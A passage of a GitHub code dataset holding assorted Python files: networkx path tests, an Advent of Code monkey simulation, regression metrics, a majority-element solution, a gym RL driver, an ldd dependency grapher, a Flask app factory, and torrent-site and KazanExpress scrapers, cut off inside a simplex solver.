neighbors:\n for path in nx.all_simple_paths(G,source,target):\n if len(path) == n:\n yield path\n\ndef test_hamiltonian_path():\n from itertools import permutations\n G=nx.complete_graph(4)\n paths = [list(p) for p in hamiltonian_path(G,0)]\n exact = [[0]+list(p) for p in permutations([1,2,3],3) ]\n assert_equal(sorted(paths),sorted(exact))\n\ndef test_cutoff_zero():\n G = nx.complete_graph(4)\n paths = nx.all_simple_paths(G,0,3,cutoff=0)\n assert_equal(list(list(p) for p in paths),[])\n paths = nx.all_simple_paths(nx.MultiGraph(G),0,3,cutoff=0)\n assert_equal(list(list(p) for p in paths),[])\n\n@raises(nx.NetworkXError)\ndef test_source_missing():\n G = nx.Graph()\n G.add_path([1,2,3])\n paths = list(nx.all_simple_paths(nx.MultiGraph(G),0,3))\n\n@raises(nx.NetworkXError)\ndef test_target_missing():\n G = nx.Graph()\n G.add_path([1,2,3])\n paths = list(nx.all_simple_paths(nx.MultiGraph(G),1,4))\n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/algorithms/tests/test_simple_paths.py","file_name":"test_simple_paths.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"} +{"seq_id":"39526293054","text":"import argparse\nimport sys\nfrom typing import Generator, TextIO, Callable\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Monkey:\n items: list[int]\n operation: Callable[[int], int]\n test: Callable[[int], bool]\n throw: Callable[[bool], int]\n inspected_items: int = 0\n\n\nNUM_ROUNDS_PART_1 = 20\nNUM_ROUNDS_PART_2 = 10000\nMODULO = 2 * 3 * 5 * 7 * 11 * 13 * 17 * 19\n\n\ndef main(notes_file: TextIO, part: int):\n monkeys = read_notes(notes_file)\n if part == 1:\n play_game(monkeys, NUM_ROUNDS_PART_1, lambda x: x // 3)\n elif part == 2:\n play_game(monkeys, NUM_ROUNDS_PART_2, lambda x: x % MODULO)\n else:\n raise ValueError(f\"Invalid part: {part}\")\n level = find_level_of_monkey_bussines(monkeys)\n print(level)\n\n\ndef play_game(monkeys: list[Monkey], num_rounds: int, manage_worry: Callable[[int], int]):\n for _ in range(num_rounds):\n for monkey in monkeys:\n monkey_items, monkey.items = monkey.items, []\n for item in monkey_items:\n new_item = monkey.operation(item)\n new_item = manage_worry(new_item)\n test = monkey.test(new_item)\n monkeys[monkey.throw(test)].items.append(new_item)\n monkey.inspected_items += 1\n\n\ndef find_level_of_monkey_bussines(monkeys: list[Monkey]) -> int:\n sorted_monkeys = sorted(monkeys, key=lambda monkey: monkey.inspected_items, reverse=True)\n return sorted_monkeys[0].inspected_items * sorted_monkeys[1].inspected_items\n\n\ndef read_notes(notes_file: TextIO) -> list[Monkey]:\n monkeys = []\n for monkey_notes in iter_monkey_notes(notes_file):\n monkey = parse_monkey_notes(monkey_notes)\n monkeys.append(monkey)\n return monkeys\n\n\ndef iter_monkey_notes(notes_file: TextIO) -> Generator[str, None, None]:\n line = next(notes_file)\n while line is not None:\n monkey = \"\"\n while line is not None and line != \"\\n\":\n monkey += line\n line = next(notes_file, None)\n yield monkey\n line = next(notes_file, None)\n\n\ndef parse_monkey_notes(monkey_notes: str) -> Monkey:\n lines = monkey_notes.splitlines()\n starting_items = parse_starting_items(lines[1])\n operation = parse_operation(lines[2])\n test = parse_test(lines[3])\n throw = parse_throw(lines[4], lines[5])\n return Monkey(starting_items, operation, test, throw)\n\n\ndef parse_starting_items(line: str) -> list[int]:\n items = line.split(\": \")[1].split(\", \")\n return [int(item) for item in items]\n\n\ndef parse_operation(line: str) -> Callable[[int], int]:\n operation_str = line.split(\": \")[1].split(\" = \")[1]\n def operation(old: int) -> int:\n return eval(operation_str)\n return operation\n\n\ndef parse_test(line: str) -> Callable[[int], bool]:\n test_str = line.split(\": \")[1]\n if test_str.startswith(\"divisible by \"):\n divisor = int(test_str.split(\"divisible by \")[1])\n def test_divisible(dividend: int) -> bool:\n if dividend % divisor == 0:\n return True\n return False\n return test_divisible\n raise ValueError(f\"Invalid test: {line}\")\n\n\ndef parse_throw(line1: str, line2: str) -> Callable[[bool], int]:\n monkey_true = int(line1.split(\"monkey \")[1])\n monkey_false = int(line2.split(\"monkey \")[1])\n def throw(test: bool) -> int:\n if test:\n return monkey_true\n return monkey_false\n return throw\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n # File argument or stdin\n parser.add_argument(\"file\", nargs=\"?\",\n type=argparse.FileType(\"r\"), default=sys.stdin)\n parser.add_argument(\"--part\", type=int, default=1)\n\n args = parser.parse_args()\n main(args.file, args.part)\n","repo_name":"gio8tisu/AoC2022","sub_path":"day11/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33477731299","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import r2_score\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n\ndef x_train_feats(df, y):\n \n X_train = df\n \n lm = LinearRegression()\n \n model = lm.fit(X_train, y)\n \n return X_train, model\n\n\ndef plot_residuals(y, yhat):\n \n residuals = y - yhat\n \n plt.scatter(y, residuals)\n\n plt.xlabel('x = Home Value')\n plt.ylabel('y = Residuals')\n plt.title('Residuals vs Home Value')\n plt.show()\n return\n\ndef regression_errors(y, yhat):\n \n df = pd.DataFrame(y, yhat)\n \n baseline = y.mean()\n \n df['baseline'] = baseline\n \n \n MSE = mean_squared_error(y, yhat)\n \n SSE = MSE * len(df)\n \n RMSE = mean_squared_error(y, yhat, squared=False)\n \n TSS = (mean_squared_error(y, df.baseline) *len(df))\n \n ESS = TSS - SSE\n \n return SSE, ESS, TSS, MSE, RMSE\n\ndef baseline_mean_errors(y):\n \n \n baseline = np.repeat(y.mean(), len(y))\n \n \n MSE_baseline = mean_squared_error(y, baseline)\n \n SSE_baseline = MSE_baseline * len(y)\n \n RMSE_baseline = mean_squared_error(y, baseline, squared=False)\n \n return SSE_baseline, MSE_baseline, RMSE_baseline\n\ndef better_than_baseline(y, yhat):\n \n baseline = np.repeat(y.mean(), len(y))\n \n r2 = r2_score(y, yhat)\n \n r2_baseline = r2_score(y, baseline)\n \n if r2 > r2_baseline:\n \n return True\n else:\n return False\n \n\n\n\n","repo_name":"Larry-Holmes/regression-exercises","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19666515416","text":"# Just little extension of Q :\"169. Majority Element\".\n# Think in same way like 'majority ele'. (Last method).\n\n# There can be maximum two ele in our ans.\n\n# logic: Think in election, you have to find the two condidate who secured more than n//3 votes.\n# so first find the two condidates who secured highest votes amon all.\n# After that check if there vote count is > n//3.\n\n# Time: O(n)\n\nclass Solution:\n def majorityElement(self, nums: List[int]) -> List[int]:\n count1, count2= 0, 0\n condidate1, condidate2= None, None\n for n in nums:\n if n== condidate1:\n # vote of condidate1 will increase\n count1+= 1\n elif n== condidate2:\n # vote of condidate2 will increase\n count2+= 1\n elif count1== 0:\n # cur ele will become the 1st condidate(one of possible condidate)\n condidate1, count1= n, 1\n elif count2== 0:\n # cur ele will become the 2nd condidate(one of possible condidate)\n condidate2, count2= n, 1\n else: # count1 > 0 and count 2> 0\n # third condidate came other than one and two.\n # so will minimise the vote of both.\n count1, count2= count1 -1, count2 -1\n print(condidate1, condidate2)\n\n # if condidate1== condidate2 and condidate1!= -1:\n # return [condidate1]\n # ans= []\n # if nums.count(condidate1) > len(nums)//3:\n # ans.append(condidate1)\n # if nums.count(condidate2) > len(nums)//3:\n # ans.append(condidate2)\n # return ans\n\n return [n for n in (condidate1, condidate2) if nums.count(n) > len(nums) // 3] # shortcut of above lines.\n","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Array/229. Majority Element II.py","file_name":"229. Majority Element II.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"} +{"seq_id":"31488223282","text":"#!/Users/andrele/RL/HoleGoal/env/bin/ipython3\n# This is the driver program\n\nimport gym\n# The name of this module comes from setup.py\nimport HoleGoal\nimport numpy\nfrom tqdm import tqdm, trange\nimport math\nimport os\nfrom collections import deque\nimport time\n\n# UI to display episode count\ndef print_episode(episode, delay=1):\n # 'cls' for windows, 'clear' for mac/linux\n if os.system('cls') != 0:\n os.system('clear')\n for _ in range(17):\n print('=', end='')\n print(\"\")\n print(\"Episode \", episode)\n for _ in range(17):\n print('=', end='')\n print(\"\")\n time.sleep(delay)\n\n# UI to display the world, delay of 1 sec for ease of understanding\ndef print_status(hg_env, action, done, step, delay=1, training_mode=True):\n if os.system('cls') != 0:\n os.system('clear')\n hg_env.print_world(action, step)\n if training_mode: hg_env.print_q_table()\n if done:\n print(\"-------EPISODE DONE--------\")\n delay *= 2\n time.sleep(delay)\n\ndef main():\n verbose = True\n print('Do you want to train the agent? ',end=' ')\n ans = input('[y/N] ').lower()\n if ans in ['yes', 'y']:\n training_flag = True\n elif ans in ['no', 'n','N']:\n training_flag = False\n else:\n print(\"Didn't understand your input! Guessing you do not want to train at all!\")\n training_flag = False\n\n if training_flag == True:\n maxwins = 100\n delay = 0\n else:\n maxwins = 5\n delay = 1\n\n wins = 0\n episode_count = 10 * maxwins\n # scores (max number of steps bef goal) - good indicator of learning\n scores = deque(maxlen=maxwins)\n\n # The name of this environment comes from HoleGoal/__init__.py\n hg_env = gym.make('hole-goal-v0', render_mode='human')\n\n if training_flag == False:\n #Load pre-existing Q-table\n print(\"Loading q-world...\")\n hg_env.load_q_world()\n\n step = 1\n exit_flag = False\n # state, action, reward, next state iteration\n for episode in trange(episode_count):\n # At the start of an episode, reset the agent's position\n state = hg_env.reset()\n done = False\n print_episode(episode, delay=delay)\n while not done:\n print(\"Episode: \", episode + 1)\n # Use the policy to get the next action\n action = hg_env.act()\n # Apply the action to the current state\n packed_next_state, reward, done, truncated, info = hg_env.step(action)\n # The next_state had to be returned as a dictionary, but needs to be an int for later use\n next_state = packed_next_state[\"agent\"]\n hg_env.update_q_table(state, action, reward, next_state)\n print_status(hg_env, action, done, step, delay=delay,training_mode=training_flag)\n hg_env.render()\n # Update state\n state = next_state\n # Check if the episode terminated\n if done:\n if hg_env.is_in_win_state():\n wins += 1\n scores.append(step)\n if wins > maxwins:\n exit_flag = True\n # Exploration-Exploitation is updated on episode end\n hg_env.update_epsilon()\n step = 1\n else:\n step += 1\n if exit_flag==True:\n break \n if exit_flag == True:\n break\n if training_flag == True:\n print(\"Saving q-world for future use...\")\n hg_env.save_q_world()\n print(scores)\n hg_env.print_q_table()\n\nif __name__ == '__main__':\n main()\n","repo_name":"AndreLeEEEEEE/HoleGoal","sub_path":"my_gym_demo.py","file_name":"my_gym_demo.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21550198513","text":"#!/usr/bin/python3\n\nimport sys, os, re\n\nanalyzedlist = []\n\ndef dep(f, prog):\n if prog in analyzedlist:\n return\n else:\n analyzedlist.append(prog)\n pname = prog.split('/')[-1]\n needed = os.popen('ldd '+prog)\n neededso = re.findall(r'[>](.*?)[(]', needed.read())\n print(prog, neededso)\n for so in neededso:\n if len(so.strip()) >0:\n f.write('\"' + pname +'\" -> \"' +so.split('/')[-1] + '\";\\n')\n dep(f, so)\n\ndef main(argv):\n f = open('/tmp/libdep.dot', 'w', encoding='utf-8')\n f.write('digraph graphname {\\n')\n dep(f, argv)\n f.write('}\\n')\n f.close()\n os.popen('dot -Tpng -o ./deps.png /tmp/libdep.dot')\n\n\nif __name__ == \"__main__\":\n if len(sys.argv)==2:\n main(sys.argv[1])","repo_name":"sunao2002002/Linux-Config-File","sub_path":"bin/show_depends.py","file_name":"show_depends.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1433953569","text":"import datetime\nimport uuid\n\nfrom flask import Flask, Blueprint\nfrom flask_jwt_extended import JWTManager\nfrom flask_mail import Mail\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import MetaData\n\nfrom app.utils import make_403\nfrom config import config\nfrom app.api.response import APIResponseFactory\nfrom flask_httpauth import HTTPBasicAuth\n\n# Initialize Flask extensions\nmail = Mail()\nauth = HTTPBasicAuth()\n\napi_bp = Blueprint('api_bp', __name__)\n\n\ndef auto_constraint_name(constraint, table):\n if constraint.name is None or constraint.name == \"_unnamed_\":\n return \"sa_autoname_%s\" % str(uuid.uuid4())[0:5]\n else:\n return constraint.name\n\nnaming_convention = {\n \"auto_constraint_name\": auto_constraint_name,\n 'pk': 'pk_%(table_name)s',\n 'fk': 'fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s',\n 'ix': 'ix_%(table_name)s_%(column_0_name)s',\n 'uq': 'uq_%(table_name)s_%(column_0_name)s',\n \"ck\": \"ck_%(table_name)s_%(auto_constraint_name)s\",\n}\ndb = SQLAlchemy(metadata=MetaData(naming_convention=naming_convention))\n\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy import event\nfrom flask_cors import CORS\n\n@event.listens_for(Engine, \"connect\")\ndef set_sqlite_pragma(dbapi_connection, connection_record):\n cursor = dbapi_connection.cursor()\n cursor.execute(\"PRAGMA foreign_keys=ON\")\n cursor.close()\n\n\"\"\"\n=========================================================\n Override default 401 Reponse with a 403 Response \n========================================================\n\"\"\"\n\n\nauth.auth_error_callback = make_403\n\n\ndef create_app(config_name=\"dev\"):\n \"\"\" Create the application \"\"\"\n app = Flask( __name__)\n if not isinstance(config_name, str):\n app.config.from_object(config)\n else:\n app.config.from_object(config[config_name])\n\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n config[config_name].init_app(app)\n\n def with_url_prefix(url):\n from flask import request\n return \"\".join((request.host_url[:-1], url))\n\n app.with_url_prefix = with_url_prefix\n\n db.init_app(app)\n mail.init_app(app)\n\n CORS(app, supports_credentials=True, resources={r\"*\": {\"origins\": \"*\"}})\n\n \"\"\"\n ========================================================\n Import models\n ========================================================\n \"\"\"\n\n from app import models\n\n \"\"\"\n ========================================================\n Setup Flask-JWT-Extended\n ========================================================\n \"\"\"\n app.jwt = JWTManager(app)\n\n # Create a function that will be called whenever create_access_token\n # is used. It will take whatever object is passed into the\n # create_access_token method, and lets us define what custom claims\n # should be added to the access token.\n @app.jwt.user_claims_loader\n def add_claims_to_access_token(user):\n return user[\"roles\"]\n\n # Create a function that will be called whenever create_access_token\n # is used. It will take whatever object is passed into the\n # create_access_token method, and lets us define what the identity\n # of the access token should be.\n @app.jwt.user_identity_loader\n def user_identity_lookup(user):\n return user[\"email\"]\n\n \"\"\"\n ========================================================\n Import utils\n ========================================================\n \"\"\"\n from app.utils import get_user_from_username, get_current_user\n\n app.get_current_user = get_current_user\n app.get_user_from_username = get_user_from_username\n\n \"\"\"\n ========================================================\n Setup custom filters\n ========================================================\n \"\"\"\n\n def format_datetime(value):\n if value:\n d = datetime.datetime.strptime(value, '%Y-%m-%d %H:%M:%S')\n return datetime.datetime.strftime(d, '%d/%m/%Y')\n else:\n return \"\"\n\n app.jinja_env.filters['date'] = format_datetime\n\n \"\"\"\n ========================================================\n Import all routes\n ========================================================\n \"\"\"\n\n from app.api import routes as api_routes\n app.register_blueprint(api_bp)\n\n return app\n","repo_name":"chartes/adele-app","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"27422455222","text":"import tkinter\r\n\r\nscreen_width = 1280\r\nscreen_height = 960\r\ncanvas = tkinter.Canvas(width=screen_width, height=screen_height)\r\ncanvas.pack()\r\n\r\nr = 50\r\noval_id = canvas.create_rectangle(screen_width/2-r,\r\n screen_height/2-r, \r\n screen_width/2+r, \r\n screen_height/2+r, \r\n fill=\"red\")\r\n\r\nsmer = -1 #tento pohyb nahor cez -1 ma odjebal, magic\r\nis_moving = False\r\n\r\ndef pohyb():\r\n global smer, is_moving\r\n x1, y1, _, _ = canvas.coords(oval_id) #s čiastkovými poroblémami mi musel pomôcť chatGPT\r\n if y1 + r + 300 >= screen_height:\r\n smer = -1\r\n elif y1 <= 0:\r\n smer = 1\r\n canvas.move(oval_id, 0, smer * 5)\r\n if is_moving:\r\n canvas.after(10, pohyb)\r\n\r\ndef start_stop(event):\r\n global is_moving\r\n is_moving = not is_moving\r\n if is_moving:\r\n pohyb()\r\n\r\ncanvas.bind_all(\"\", start_stop)\r\n\r\ncanvas.mainloop()\r\n\r\n","repo_name":"noober30/training","sub_path":"Cvičenia/Cvičenie 11 DOKONCIT/Úloha 02.py","file_name":"Úloha 02.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29251246257","text":"import pytest\n\nfrom maps.garden.modules.ymapsdf.lib.parent_finder import parent_finder\nfrom maps.garden.modules.ymapsdf.lib.parent_finder import process_ft\n\n\n@pytest.mark.use_local_yt(\"hahn\")\ndef test_sift_up_ft_ad(test_task_executor):\n create_ymapsdf = test_task_executor.create_ymapsdf_input_yt_table_resource\n create_custom = test_task_executor.create_custom_input_yt_table_resource\n\n test_task_executor.execute_final_task(\n task=process_ft.SiftUpFtAdTask(),\n input_resources={\n \"ad\": create_ymapsdf(\"ad\"),\n \"ft\": create_ymapsdf(\"ft\"),\n \"ft_ad_tmp\": create_ymapsdf(\"ft_ad\"),\n parent_finder.FT_AD_GEOCODER_COLLISIONS: create_custom(parent_finder.FT_AD_GEOCODER_COLLISIONS),\n },\n output_resources={\n \"ft_ad\": test_task_executor.create_yt_table_resource(\"ft_ad\"),\n },\n )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/parent_finder/tasks/test_sift_up_ft_ad.py","file_name":"test_sift_up_ft_ad.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6309871771","text":"from bs4 import BeautifulSoup\n\nfrom ... import SITE_URL\nfrom ...utils import fetch\nfrom ..errors import NoResults, PageNotFound\nfrom ..responses import SearchResult\n\n\nasync def getResults(query: str, page: int = 1) -> tuple[tuple[SearchResult], bool]:\n responseText, _ = await fetch(f\"{SITE_URL}/torrent-{query}/{page}\")\n root = BeautifulSoup(responseText, 'lxml')\n rawResults = root.findAll('div', class_='row semelhantes')\n if not rawResults and page == 1:\n raise NoResults(f\"No results for query '{query}'\")\n elif not rawResults:\n raise PageNotFound(f'Page {page} of search \"{query}\" not found')\n results = tuple(map(\n lambda item: SearchResultExtractor(item).extract(),\n rawResults\n ))\n pagination = root.find('ul', class_='pagination').findAll('li')\n hasNextPage = pagination[-2].get(\"class\") is None\n return results, hasNextPage\n\n\nclass SearchResultExtractor:\n def __init__(self, root: BeautifulSoup):\n self._root = root\n\n def extract(self) -> SearchResult:\n return SearchResult(\n title=self.title(),\n sinopse=self.sinopse(),\n thumbnail=self.thumbnail(),\n path=self.path()\n )\n\n def title(self) -> str:\n tag = self._root.find('div', class_='col-sm-8 col-xs-12').find('h2')\n title = tag.text.lower()\n # Remove suffix\n title = title.split('torrent')[0].split('download')[0]\n # Remove prefix\n title = title.split(\n 'série')[-1].split('filme')[-1].split('desenho')[-1]\n return title.strip().capitalize()\n\n def sinopse(self) -> str:\n rawSinopse = self._root.find('p', class_='text-justify')\n sinopse: str = rawSinopse.text\n sinopseTitle: str = rawSinopse.next.text\n # Remove title from sinopse\n sinopse = sinopse.replace(sinopseTitle, '')\n # Remove download suffix of sinopse\n sinopse = sinopse.split('. Baixar')[0]+'.'\n return sinopse.strip()\n\n def thumbnail(self) -> str:\n img = self._root.find('img', class_='capa_imagem img-responsive')\n thumbnail: str = img.get('src')\n return thumbnail\n\n def path(self) -> str:\n url: str = self._root.find('a').get('href')\n path = url.split('vacatorrent.com/')[-1]\n return path\n","repo_name":"dheison0/vacatorrent-api","sub_path":"api/v2/extractors/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26368053074","text":"import time\nfrom selenium import webdriver\nfrom typing import Dict, List\nfrom bs4 import BeautifulSoup\nfrom get_shops import get_product\nfrom cfg import head_rows, UserAgent\nfrom table import (refresh_data, write_list_data, get_data,\n copy_sheet, compare_data, sort_and_group)\nfrom urllib.parse import quote\nfrom datetime import datetime\n\n\ndef get_search_products(query: str) -> Dict:\n \"\"\" Search products in kazan-express \"\"\"\n query_url = \"https://kazanexpress.ru/search?query={0}\".format(quote(query))\n domain = \"https://kazanexpress.ru\"\n options = webdriver.ChromeOptions()\n options.add_argument(f\"user-agent={UserAgent}\")\n options.add_argument(\"--headless\")\n browser = webdriver.Chrome(options=options)\n result = dict()\n page = 1\n try:\n query_url = f\"{query_url}¤tPage={page}\"\n browser.get(query_url)\n time.sleep(2)\n response = browser.page_source\n bs_object = BeautifulSoup(response, \"lxml\")\n cards_on_page = bs_object.find_all(\n name=\"div\", class_=\"col-mbs-12 col-mbm-6 col-xs-4 col-md-3\")\n card_urls_on_page = [\n card.a[\"href\"].split(\"?\")[0].split(\n '-')[-1] for card in cards_on_page]\n products_id = [\n card.a[\"href\"].split(\"?\")[0].split(\n '-')[-1] for card in cards_on_page]\n card_urls_on_page = [\n domain+card.a[\"href\"].split(\"?\")[0] for card in cards_on_page]\n d = dict(zip(products_id, card_urls_on_page))\n result = result | d\n finally:\n browser.close()\n browser.quit()\n return result\n\n\ndef get_product_from_shop(shop_name: str) -> Dict:\n \"\"\"Get products in Shop=shop_name\"\"\"\n start_url = f'https://kazanexpress.ru/{shop_name}'\n domain = \"https://kazanexpress.ru\"\n options = webdriver.ChromeOptions()\n options.add_argument(f\"user-agent={UserAgent}\")\n options.add_argument(\"--headless\")\n browser = webdriver.Chrome(options=options)\n page = 1\n products_dict = dict()\n check = True\n try:\n while check:\n url = f\"{start_url}?currentPage={page}\"\n browser.get(url)\n time.sleep(2)\n response = browser.page_source\n bs_object = BeautifulSoup(response, \"lxml\")\n cards_on_page = bs_object.find_all(\n name=\"div\",\n class_=\"col-mbs-12 col-mbm-6 col-xs-4 col-md-3\"\n )\n products_id = [\n card.a[\"href\"].split(\"?\")[0].split(\n '-')[-1] for card in cards_on_page]\n card_urls_on_page = [\n domain+card.a[\"href\"].split(\"?\")[0] for card in cards_on_page]\n d = dict(zip(products_id, card_urls_on_page))\n products_dict = products_dict | d\n navigation_button = bs_object.find(\n name=\"div\",\n class_=\"pagination-wrapper\"\n )\n if \"style\" in navigation_button.attrs:\n check = False\n else:\n page += 1\n finally:\n browser.close()\n browser.quit()\n return products_dict\n\n\ndef merge_products(main_product, same_products: Dict) -> List:\n \"\"\" Create List of main product (from our shop) and the same products \"\"\"\n list_of_products = [main_product]\n for product_id, product_url in same_products.items():\n if int(main_product.payload.data.id) != int(product_id):\n product = get_product(product_id, product_url)\n list_of_products.append(product)\n return list_of_products\n\n\ndef parser_and_google(shops_name: List = [\"makeyou\"],\n shops_id: List = [\"0\"]):\n\n for i, shop_name in enumerate(shops_name):\n products_in_shop = get_product_from_shop(shop_name)\n write_list_data(list_data=head_rows, range=\"A2:I2\")\n pos = 3\n my_products_pos = list()\n print(products_in_shop)\n for product_id, product_url in products_in_shop.items():\n product = get_product(product_id, product_url)\n query = product.payload.data.title\n same_products = get_search_products(query=query)\n list_products = merge_products(main_product=product,\n same_products=same_products)\n my_products_pos.append(pos)\n pos = refresh_data(products=list_products,\n position=pos,\n sheet_name=shop_name,\n sheet_id=shops_id[i])\n pos += 1\n\n last_write = get_data(start=\"E1\", end=\"E1\", sheet=shop_name)\n date = datetime.now().strftime('%d.%m.%Y')\n\n if last_write is None or date != last_write[0][0]:\n copy_sheet(sheet_name=shop_name)\n write_list_data(list_data=[str(date)], range=\"D1:D1\")\n\n sort_and_group(my_products_pos, sheet_id=shops_id[i])\n compare_data(shop_name, shops_id[i])\n time.sleep(300)\n\nparser_and_google()","repo_name":"s1ntecs/kazan_express_parser","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29093787032","text":"# 判断字符串如果包含字母h终止循环输入该字母\ns = 'hello'\n# debug\n\nfor item in s:\n\tif item == 'h':\n\t\tprint(item)\n\t\tbreak\n\t\t# 这个代码永远都不会被执行\n\t\t# print(item)\n\telse:\n\t\tprint(item)\n\t\t\nprint(1111111)\t\t\n\n# 过滤h字母\n# \n# 作用 终止当前这次循环进入下一次循环\n# \n\n\nfor l in 'Python':\n\tif l =='h':\n\t\tcontinue\n\tprint(l)\t\n\n","repo_name":"zhangwei725/PythonBase","sub_path":"day03/循环_控制循环终止.py","file_name":"循环_控制循环终止.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"5069999755","text":"import sys \nimport os\nfrom sympy import *\nfrom simplex import Matriz\n\ndef crear_matriz(matriz, variables_basicas, cant_variables, es_maximizacion):\n \"\"\" Crea la matriz junto con el encabezado de las variables y los números y valores de cada una\n E: una matriz con solo los valores, las variables que van en la columna 0 y la cantidad de variables que deben haber, un booleano si es Max o Min\n S: N/A\n \"\"\"\n encabezado = [\"VB\"]\n\n for i in range(cant_variables):\n encabezado.append(\"X\" + str(i+1))\n encabezado.append(\"LD\")\n \n i = 0\n nueva_matriz = []\n\n for fila in matriz:\n nueva_fila = []\n if i == 0:\n if es_maximizacion:\n nueva_fila.append(\"U\")\n else:\n nueva_fila.append(\"-U\")\n nueva_fila += fila\n nueva_matriz.append(nueva_fila)\n i += 1\n else:\n \n nueva_fila.append(\"X\" + str(variables_basicas[i-1]))\n nueva_fila += fila\n nueva_matriz.append(nueva_fila)\n i += 1\n\n matriz = [encabezado] + nueva_matriz\n return matriz\n\ndef definir_ecuaciones(diccionario_datos, CONST_M):\n \"\"\" Convierte el diccionario de datos a las ecuaciones que se utilizaran para las tablas\n E: Recibe el diccionario de datos con los datos que se recolectaron al leer el archivo\n S: N/A\n \"\"\"\n dual = False\n\n if diccionario_datos[\"metodo\"] == 3: #dual\n dual = True\n diccionario_datos = acomodar_diccionario(diccionario_datos)\n\n diccionario_datos[\"fun_ob\"] = [-x for x in diccionario_datos[\"fun_ob\"]] #Se vuelven negativos todos los números de la función objetivo\n\n if diccionario_datos[\"metodo\"] == 1: #gran m\n return (definir_ecuaciones_granm(diccionario_datos, CONST_M),dual)\n \n if diccionario_datos[\"metodo\"] == 2: #Dos fases\n return (definir_ecuaciones_primera_fase(diccionario_datos),dual)\n\n diccionario_datos[\"fun_ob\"] += [Rational(0)] * (diccionario_datos[\"num_rest\"] + 1) #Agrega los ceros dependiendo de la cantidad de restricciones\n\n for rest in diccionario_datos[\"rest\"]: #Coloca los ceros y unos en las restricciones\n tmp = rest.pop(-1)\n rest += [Rational(0)] * diccionario_datos[\"num_rest\"]\n rest += [Rational(tmp)]\n\n i = diccionario_datos[\"num_var\"]\n for rest in diccionario_datos[\"rest\"]:\n rest[i] = Rational(1)\n i += 1\n\n var_basicas = [x for x in range(diccionario_datos[\"num_var\"]+1, len(diccionario_datos[\"fun_ob\"]))]\n return ([crear_matriz([diccionario_datos[\"fun_ob\"]] + diccionario_datos[\"rest\"], var_basicas, diccionario_datos[\"num_var\"] + diccionario_datos[\"num_rest\"], True)],dual)\n\ndef definir_ecuaciones_granm(diccionario_datos, CONST_M):\n \"\"\" Convierte el diccionario de datos a las ecuaciones que se utilizaran para las tablas para el caso de gran m\n E: Recibe el diccionario de datos con los datos que se recolectaron al leer el archivo\n S: N/A\n \"\"\"\n indice = 0\n var_basicas = []\n indice_var_artificiales = []\n var_artificiales = []\n i = 0\n es_maximizacion = True\n\n #Se modifica según la simbología de las restricciones\n while i < len(diccionario_datos[\"simb_rest\"]):\n #En este caso sería igual que el simplex\n if diccionario_datos[\"simb_rest\"][i] == \"<=\":\n diccionario_datos[\"fun_ob\"].append(Rational(0))\n var_basicas.append(len(diccionario_datos[\"fun_ob\"]))\n #Este caso es para >= y =, como ambos tiene variables artificiales, solo se verifica que sea >= para agregarle de exceso\n else:\n if diccionario_datos[\"simb_rest\"][i] == \">=\": #Agrega la variable de exceso si es >=\n diccionario_datos[\"fun_ob\"].append(Rational(0))\n diccionario_datos[\"num_rest\"] += 1\n #No importa si es >= o =, se le agrega las M a la función objetivo de la misma forma\n if diccionario_datos[\"optm\"] == \"max\":\n diccionario_datos[\"fun_ob\"].append(CONST_M)\n indice = diccionario_datos[\"fun_ob\"].index(CONST_M, indice+1, len(diccionario_datos[\"fun_ob\"]))\n else:\n diccionario_datos[\"fun_ob\"].append(-CONST_M)\n indice = diccionario_datos[\"fun_ob\"].index(-CONST_M, indice+1, len(diccionario_datos[\"fun_ob\"]))\n var_basicas.append(indice + 1)\n indice_var_artificiales.append(i)\n var_artificiales.append(indice + 1)\n i += 1\n \n #0 de valor de U\n diccionario_datos[\"fun_ob\"].append(Rational(0))\n\n if diccionario_datos[\"optm\"] == \"min\":\n diccionario_datos[\"fun_ob\"] = [-x for x in diccionario_datos[\"fun_ob\"]]\n es_maximizacion = False\n \n for rest in 